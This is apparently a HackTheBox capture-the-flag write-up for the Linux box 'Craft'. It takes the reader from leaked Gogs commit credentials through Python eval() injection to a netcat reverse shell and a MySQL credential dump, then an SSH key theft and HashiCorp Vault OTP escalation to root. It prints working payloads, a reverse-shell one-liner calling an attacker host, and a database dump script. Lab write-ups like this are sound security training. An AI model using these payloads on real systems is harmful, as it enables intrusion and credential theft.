All writeups
HackTheBox: Craft avatar
MACHINE Linux HackTheBox 3/5

HackTheBox: Craft

2026-06-08 9 min read
Tracks CPTS
Services mysqlssh

Introduction

Craft is a Linux box running a Gogs self-hosted Git server alongside a REST API for a craft beer database. A developer committed a dangerous eval() call into the codebase - and left their credentials in the commit history. The path to root:

  1. Enumeration → find a Gogs server and a public craft-api repository
  2. Code review → spot an eval() injection bug in the brew endpoint; find Dinesh’s credentials in a commit
  3. Python eval injection → use the API to execute OS commands → reverse shell inside a Docker container
  4. Database dump → query the MySQL database from inside the container, extract all user credentials
  5. Lateral movement → log into Gogs as Gilfoyle, find a private repo with his SSH private key
  6. SSH as Gilfoyle → use the key + DB password as the passphrase
  7. Privilege escalation → find a .vault-token, use HashiCorp Vault’s SSH OTP backend to SSH in as root

Key Concepts

What is Gogs? A lightweight, self-hosted Git service (like a private GitHub). It lets teams host code repositories internally. Importantly, public repos are readable without authentication - and commit history is fully visible, which can expose secrets developers accidentally committed.

What is eval() in Python? eval() takes a string and executes it as Python code. It’s sometimes used as a shortcut for things like evaluating math expressions. If user-supplied input is passed directly into eval() without sanitisation, an attacker can inject arbitrary Python - including OS commands.

What is a Docker container? A lightweight isolated environment that runs a process separately from the host OS. Many web apps run inside containers. The giveaway is a .dockerenv file in /. Being root inside a container doesn’t mean you’re root on the real host - but containers often have access to databases and other internal services that aren’t reachable from the outside.

What is pymysql? A Python library for talking to MySQL databases. Since we’re already running code inside the container (as root), and the app uses pymysql to talk to the database, we can write our own Python script to query any table we want.

What is HashiCorp Vault? A secrets management tool used to store and control access to tokens, passwords, certificates, and API keys. It has a built-in SSH secrets engine that can generate one-time passwords (OTPs) to SSH into servers. If Vault is configured with a root role, it can issue an OTP that lets you SSH in as root - no password cracking needed.

What is a Vault SSH OTP? Instead of a permanent password, Vault generates a single-use random token for SSH login. The SSH server is configured to check with Vault to validate it. Once used, the OTP is invalid. You need a .vault-token (an authentication token for Vault itself) to request one.


Enumeration

Nmap

ports=$(nmap -p- --min-rate=1000 -T4 <TARGET> | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV <TARGET>

Open ports:

PortServiceNotes
22SSH (OpenSSH 7.4p1)Real host SSH
443HTTPS (nginx)Craft web app
6022SSHGogs’ built-in SSH - separate from the host

HTTPS: Port 443

Browsing to https://<TARGET> (accept the cert warning) shows the Craft homepage. The navigation links point to two virtual hosts - add both to /etc/hosts:

echo "<TARGET> craft.htb api.craft.htb gogs.craft.htb" | sudo tee -a /etc/hosts

Gogs: gogs.craft.htb

Browsing to https://gogs.craft.htb shows a self-hosted Gogs instance. Click Explore → public repository: Craft/craft-api - an API for managing craft beer entries.


Source Code Review: Find the Bug and the Credentials

Open issue leaks an API token

The repository has one open issue (#2) posted by the user Dinesh. It contains a curl command with a live API token:

X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...

Save this token - it’s valid and we’ll need it shortly.

Latest commit introduces eval() injection

Looking at the latest commit (c414b16057), Dinesh “fixed” the ABV validation by adding:

if eval('%s > 1' % request.json['abv']):
    return "ABV must be a decimal value less than 1.0", 400

What’s wrong with this? The abv field from the user’s JSON request is dropped directly into a string and passed to eval(). Instead of a number, we can send Python code - and eval() will execute it. For example, eval("__import__('os').system('id') > 1") runs id as a system command.

Earlier commit leaks Dinesh’s credentials

Looking at another commit (10e3ba4f8a) - “add test script” - the file tests/test.py contains Dinesh’s plaintext credentials hardcoded in the script:

response = requests.get('https://api.craft.htb/api/auth/login',
                        auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)

Lesson: Never commit credentials to a repository. Even if you delete the file later, the commit history preserves it forever.


Foothold: Python eval() Injection → Reverse Shell

Download the test script

wget --no-check-certificate \
  https://gogs.craft.htb/Craft/craft-api/raw/10e3ba4f0a09c778d7cec673f28d410b73455a86/tests/test.py

Suppress SSL warnings by adding these two lines near the top:

import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

Run it to confirm the API is still vulnerable:

python3 test.py
# {"message": "Token is valid!"}
# "ABV must be a decimal value less than 1.0"   ← eval is live

Inject a reverse shell

Start your listener:

nc -lvnp 4444

Edit the script - replace the abv value with a Python reverse shell payload using __import__:

brew_dict['abv'] = "__import__('os').system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <YOUR_IP> 4444 >/tmp/f')"
brew_dict['name']    = 'bullshit'
brew_dict['brewer']  = 'bullshit'
brew_dict['style']   = 'bullshit'

Run the script and catch the shell:

/opt/app # id
uid=0(root) gid=0(root) groups=0(root)

We’re root - but check /:

ls /
# .dockerenv  ← we're inside a Docker container, not the real host

Database Dump: Extract All User Credentials

Find the database settings

In /opt/app/craft_api/settings.py:

MYSQL_DATABASE_USER     = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J750'
MYSQL_DATABASE_DB       = 'craft'

The existing dbtest.py confirms the MySQL server is reachable internally. We’ll write our own script to dump the user table.

Serve and run a custom dump script

On your attacker machine, create get_user.py:

#!/usr/bin/env python
import pymysql
from craft_api import settings

connection = pymysql.connect(
    host=settings.MYSQL_DATABASE_HOST,
    user=settings.MYSQL_DATABASE_USER,
    password=settings.MYSQL_DATABASE_PASSWORD,
    db=settings.MYSQL_DATABASE_DB,
    cursorclass=pymysql.cursors.DictCursor
)
try:
    with connection.cursor() as cursor:
        cursor.execute("SELECT * FROM `user`")
        print(cursor.fetchall())
finally:
    connection.close()

Serve it and download to the container:

# On attacker:
python3 -m http.server 80

# In container shell (must be in /opt/app to import settings):
cd /opt/app
wget <YOUR_IP>/get_user.py
python get_user.py

Result:

[
  {'id': 1, 'username': 'dinesh',   'password': '4aUh0A8PbVJxgd'},
  {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFKLPQB'},
  {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}
]

Lateral Movement: Gogs Login → SSH Key

SSH doesn’t work with these passwords

None of the three passwords work for SSH on port 22. These are Gogs application passwords, not system account passwords.

Log into Gogs as Gilfoyle

Browse to https://gogs.craft.htb/user/login:

Username: gilfoyle
Password: ZEU3N8WNM2rh4T

Find the private SSH key in a private repo

Gilfoyle has a private repository called craft-infra. Inside it, there’s a .ssh folder containing id_rsa and id_rsa.pub.

Why is this bad? Storing SSH keys in a Git repository - even a private one - is dangerous. If the account is ever compromised, the attacker gets persistent SSH access to every server the key unlocks.

Copy the id_rsa contents locally, then SSH in:

chmod 600 id_rsa
ssh -i id_rsa gilfoyle@<TARGET>
# Enter passphrase for key 'id_rsa':

The key is passphrase-protected. Enter Gilfoyle’s database password: ZEU3N8WNM2rh4T

gilfoyle@craft:~$ id
uid=1001(gilfoyle) gid=1001(gilfoyle) groups=1001(gilfoyle)

User flag captured. ~/user.txt


Privilege Escalation: Vault SSH OTP → Root

Spot the .vault-token

ls -la ~
# -rw-------  1 gilfoyle gilfoyle   36 Feb  9 2019 .vault-token

What is .vault-token? HashiCorp Vault authenticates clients with tokens. This file holds Gilfoyle’s Vault token - essentially his “login session” for the Vault server. With it, we can make any API call to Vault that Gilfoyle is authorised to make.

Find the Vault SSH configuration in Gogs

Back in Gilfoyle’s craft-infra repo on Gogs, there’s a vault/secrets.sh file:

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \
    cidr_list=0.0.0.0/0

What does this tell us? Vault’s SSH secrets engine has been enabled and configured with a role called root_otp. This role issues one-time passwords for SSH logins as root. Any client with a valid Vault token can request an OTP from this role and use it to SSH in as root.

Generate the OTP and SSH as root

From Gilfoyle’s SSH session, run:

vault ssh -role root_otp -mode otp root@<TARGET>

Vault outputs the OTP for the session. When prompted for a password, paste it in:

OTP for the session is: 15852513-dac3-e31d-2816-0bbe62b473c0

Password: <paste OTP here>

root@craft:~# id
uid=0(root) gid=0(root) groups=0(root)

Root flag captured. /root/root.txt


Summary

nmap → port 443 (nginx), port 6022 (Gogs SSH)

https://craft.htb → links to api.craft.htb + gogs.craft.htb

gogs.craft.htb → Craft/craft-api (public repo)

Issue #2 → Dinesh's API token (leaked in issue comment)

Commit c414b16057 → eval('%s > 1' % abv) ← no sanitisation!

Commit 10e3ba4f8a → test.py → dinesh:4aUh0A8PbVJxgd (hardcoded creds)

Modify test.py: abv = "__import__('os').system('<reverse shell>')"

nc -lvnp 4444 → shell as root inside Docker container

/.dockerenv → we're in a container
/opt/app/craft_api/settings.py → MySQL creds: craft:qLGockJ6G2J750

Custom pymysql script → SELECT * FROM user
→ gilfoyle:ZEU3N8WNM2rh4T

gogs.craft.htb → login as gilfoyle → private repo craft-infra
→ .ssh/id_rsa (encrypted with gilfoyle's password as passphrase)

ssh -i id_rsa gilfoyle@<TARGET> (passphrase: ZEU3N8WNM2rh4T)
→ USER FLAG

~/.vault-token → Vault auth token
craft-infra/vault/secrets.sh → root_otp role configured

vault ssh -role root_otp -mode otp root@<TARGET>
→ OTP generated → SSH as root → ROOT FLAG

Tools Used

ToolWhat it doesHow to get it
GogsSelf-hosted Git server (the target app)N/A - already on the box
Python requestsHTTP library used for the exploit scriptpip install requests
pymysqlPython MySQL client - used to query the DB from inside the containerpip install pymysql
netcat (nc)Catches the reverse shellBuilt into Kali
HashiCorp VaultSecrets management - issues SSH OTPs (already on the box)vaultproject.io
sshpass(Optional) Automates entering the OTP at the SSH password promptsudo apt install sshpass